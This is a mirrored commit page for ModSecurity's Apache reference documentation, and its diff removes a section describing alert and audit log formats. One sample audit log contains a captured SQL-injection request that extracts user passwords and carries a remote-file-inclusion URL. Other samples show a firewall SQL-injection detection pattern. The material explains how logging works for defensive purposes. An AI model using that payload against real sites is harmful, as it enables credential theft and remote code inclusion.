github_mirrors/ModSecurity
3
0
Fork 1
mirror of https://github.com/owasp-modsecurity/ModSecurity.git synced 2026-01-13 23:17:10 +03:00
Code Issues Packages Projects Releases Wiki Activity

Merge in doc changes from trunk.

Browse Source
This commit is contained in:
b1v1r
2009-03-06 04:55:28 +00:00
parent a78d2613c3
commit 4c7b251236
3 changed files with 996 additions and 392 deletions
Download Patch File Download Diff File Expand all files Collapse all files

406
doc/modsecurity2-apache-reference.xml
View File

@@ -687,6 +687,11 @@ SecAuditLogStorageDir logs/audit
<para>Default:<literal moreinfo="none"> ABCFHZ</literal>.</para>
<note>
<para>Please refer to the ModSecurity Data Formats document for a
detailed description of every available part.</para>
</note>
<para>Available audit log parts:</para>
<itemizedlist>
@@ -5902,6 +5907,15 @@ SecRule REQUEST_METHOD "!<emphasis>@within %{tx.allowed_methods}</emphasis>" t:l
<literal moreinfo="none">initcol</literal>.</para>
<note>
<para>ModSecurity implements atomic updates of persistent variables only
for integer variables (counters) at this time. Variables are read from
storage whenever <literal>initcol</literal> is encountered in the rules
and persisted at the end of request processing. Counters are adjusted by
applying a delta generated by re-reading the persisted data just before
being persisted. This keeps counter data consistent even if the counter
was modified and persisted by another thread/process during the
transaction.</para>
<para>Please note that ModSecurity does not implement atomic updates of
persistent variables at this time. Variables are read from storage
whenever <literal>initcol</literal> is encountered in the rules and
@@ -5922,398 +5936,6 @@ SecRule REQUEST_METHOD "!<emphasis>@within %{tx.allowed_methods}</emphasis>" t:l
</note>
</section>
<section>
<title>Data Formats</title>
<para>This section documents the various data formats used by
ModSecurity.</para>
<section>
<title>Alerts</title>
<para>Below is an example of a ModSecurity alert entry. It is always
contained on a single line but we've broken it here into multiple lines
for readability.</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
<para>Each alert entry begins with the engine message:</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.</programlisting>
<para>The engine message consists of two parts. The first part tells you
whether ModSecurity acted to interrupt transaction or rule processing.
If it did nothing the first part of the message will simply say
"Warning". If an action was taken then one of the following messages
will be used:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access denied with code %0</emphasis> - a response
with status code %0 was sent.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with connection close</emphasis> -
connection was abruptly closed.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with redirection to %0 using status
%1</emphasis> - a redirection to URI %0 was issued using status
%1.</para>
</listitem>
<listitem>
<para><emphasis>Access allowed</emphasis> - rule engine stopped
processing rules (transaction was unaffected).</para>
</listitem>
<listitem>
<para><emphasis>Access to phase allowed</emphasis> - rule engine
stopped processing rules in the current phase only. Subsequent
phases will be processed normally. Transaction was not affected by
this rule but it may be affected by any of the rules in the
subsequent phase.</para>
</listitem>
<listitem>
<para><emphasis>Access to request allowed</emphasis> - rule engine
stopped processing rules in the current phase. Phases prior to
request execution in the backend (currently phases 1 and 2) will not
be processed. The response phases (currently phases 3 and 4) and
others (currently phase 5) will be processed as normal. Transaction
was not affected by this rule but it may be affected by any of the
rules in the subsequent phase.</para>
</listitem>
</itemizedlist>
<para>The second part of the engine message explains
<emphasis>why</emphasis> the event was generated. Since it is
automatically generated from the rules it will be very technical in
nature talking about operators and their parameters and give you insight
into what the rule looked like. But this message cannot give you insight
into the reasoning behind the rule. A well-written rule will always
specify a human-readable message (using the <literal>msg</literal>
action) to provide further clarification.</para>
<para>The format of the second part of the engine message depends on
whether it was generated by the operator (which happens on a match) or
by the rule processor (which happens where there is not a match, but the
negation was used):</para>
<itemizedlist>
<listitem>
<para>@beginsWith s- String match %0 at %1.</para>
</listitem>
<listitem>
<para>@contains - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@containsWord - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@endsWith - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@eq - Operator EQ matched %0 at %1.</para>
</listitem>
<listitem>
<para>@ge - Operator GE matched %0 at %1.</para>
</listitem>
<listitem>
<para>@geoLookup - Geo lookup for %0 succeeded at %1.</para>
</listitem>
<listitem>
<para>@inspectFile - File %0 rejected by the approver script %1:
%2</para>
</listitem>
<listitem>
<para>@le - Operator LE matched %0 at %1.</para>
</listitem>
<listitem>
<para>@lt - Operator LT matched %0 at %1.</para>
</listitem>
<listitem>
<para>@rbl - RBL lookup of %0 succeeded at %1.</para>
</listitem>
<listitem>
<para>@rx - Pattern match %0 at %1.</para>
</listitem>
<listitem>
<para>@streq - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@validateByteRange - Found %0 byte(s) in %1 outside range:
%2.</para>
</listitem>
<listitem>
<para>@validateDTD - XML: DTD validation failed.</para>
</listitem>
<listitem>
<para>@validateSchema - XML: Schema validation failed.</para>
</listitem>
<listitem>
<para>@validateUrlEncoding</para>
<itemizedlist>
<listitem>
<para>Invalid URL Encoding: Non-hexadecimal digits used at
%0.</para>
</listitem>
<listitem>
<para>Invalid URL Encoding: Not enough characters at the end of
input at %0.</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>@validateUtf8Encoding</para>
<itemizedlist>
<listitem>
<para>Invalid UTF-8 encoding: not enough bytes in character at
%0.</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: invalid byte value in character at
%0.</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: overlong character detected at
%0.</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: use of restricted character at
%0.</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: decoding error at %0.</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>@verifyCC - CC# match %0 at %1.</para>
</listitem>
</itemizedlist>
<para>Messages not related to operators:</para>
<itemizedlist>
<listitem>
<para>When <literal>SecAction</literal> directive is processed -
Unconditional match in SecAction.</para>
</listitem>
<listitem>
<para>When <literal>SecRule</literal> does not match but negation is
used - Match of %0 against %1 required.</para>
</listitem>
</itemizedlist>
<para>The metadata fields are always placed at the end of the alert
entry. Each metadata field is a text fragment that consists of an open
bracket followed by the metadata field name, followed by the value and
the closing bracket. What follows is the text fragment that makes up the
<literal>id</literal> metadata field.</para>
<programlisting>[id "960034"]</programlisting>
<para>The following metadata fields are currently used:</para>
<orderedlist>
<listitem>
<para><literal>offset</literal> - The byte offset where a match
occured within the target data. This is not always available.</para>
</listitem>
<listitem>
<para><literal>id</literal> - Unique rule ID, as specified by the
<literal>id</literal> action.</para>
</listitem>
<listitem>
<para><literal>rev</literal> - Rule revision, as specified by the
<literal>rev</literal> action.</para>
</listitem>
<listitem>
<para><literal>msg</literal> - Human-readable message, as specified
by the <literal>msg</literal> action.</para>
</listitem>
<listitem>
<para><literal>severity</literal> - Event severity, as specified by
the <literal>severity</literal> action.</para>
</listitem>
<listitem>
<para><literal>unique_id</literal> - Unique event ID, generated
automatically.</para>
</listitem>
<listitem>
<para><literal>uri</literal> - Request URI.</para>
</listitem>
<listitem>
<para><literal>logdata</literal> - contains transaction data
fragment, as specified by the <literal>logdata</literal>
action.</para>
</listitem>
</orderedlist>
<section>
<title>Alerts in Apache</title>
<para>Every ModSecurity alert conforms to the following format when it
appears in the Apache error log:</para>
<programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1]
ModSecurity: ALERT_MESSAGE</programlisting>
<para>The above is a standard Apache error log format. The "
ModSecurity:" prefix is specific to ModSecurity. It is used to allow
quick identification of ModSecurity alert messages when they appear in
the same file next to other Apache messages.</para>
<para>The actual message (<literal>ALERT_MESSAGE</literal> in the
example above) is in the same format as described in the
<emphasis>Alerts</emphasis> section.</para>
</section>
<section>
<title>Alerts in Audit Log</title>
<para>Alerts are transported in the <literal>H</literal> section of
the ModSecurity Audit Log. Alerts will appear each on a separate line
and in the order they were generated by ModSecurity. Each line will be
in the following format:</para>
<programlisting>Message: ALERT_MESSAGE</programlisting>
<para>Below is an example of an entire <literal>H</literal> section
(followed by the <literal>Z</literal> section terminator):</para>
<programlisting>--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--</programlisting>
</section>
</section>
<section>
<title>Audit Log</title>
<para>ModSecurity records one transaction in a single audit log file.
Below is an example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, cslose
Host: www.example.com
User-Agent: libwww-perl/5.808
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--
</programlisting>
<para>The file consist of multiple sections, each in different format.
Separators are used to define sections:</para>
<programlisting>--c7036611-A--</programlisting>
<para>A separator always begins on a new line and conforms to the
following format:</para>
<orderedlist>
<listitem>
<para>Two dashes</para>
</listitem>
<listitem>
<para>Unique boundary, which consists from several hexadecimal
characters.</para>
</listitem>
<listitem>
<para>One dash character.</para>
</listitem>
<listitem>
<para>Section identifier, currently a single uppercase
letter.</para>
</listitem>
<listitem>
<para>Two trailing dashes.</para>
</listitem>
</orderedlist>
<para>Refer to the documentation for <literal>SecAuditLogParts</literal>
for the explanation of each part.</para>
</section>
</section>
<section>
<title>Miscellaneous Topics</title>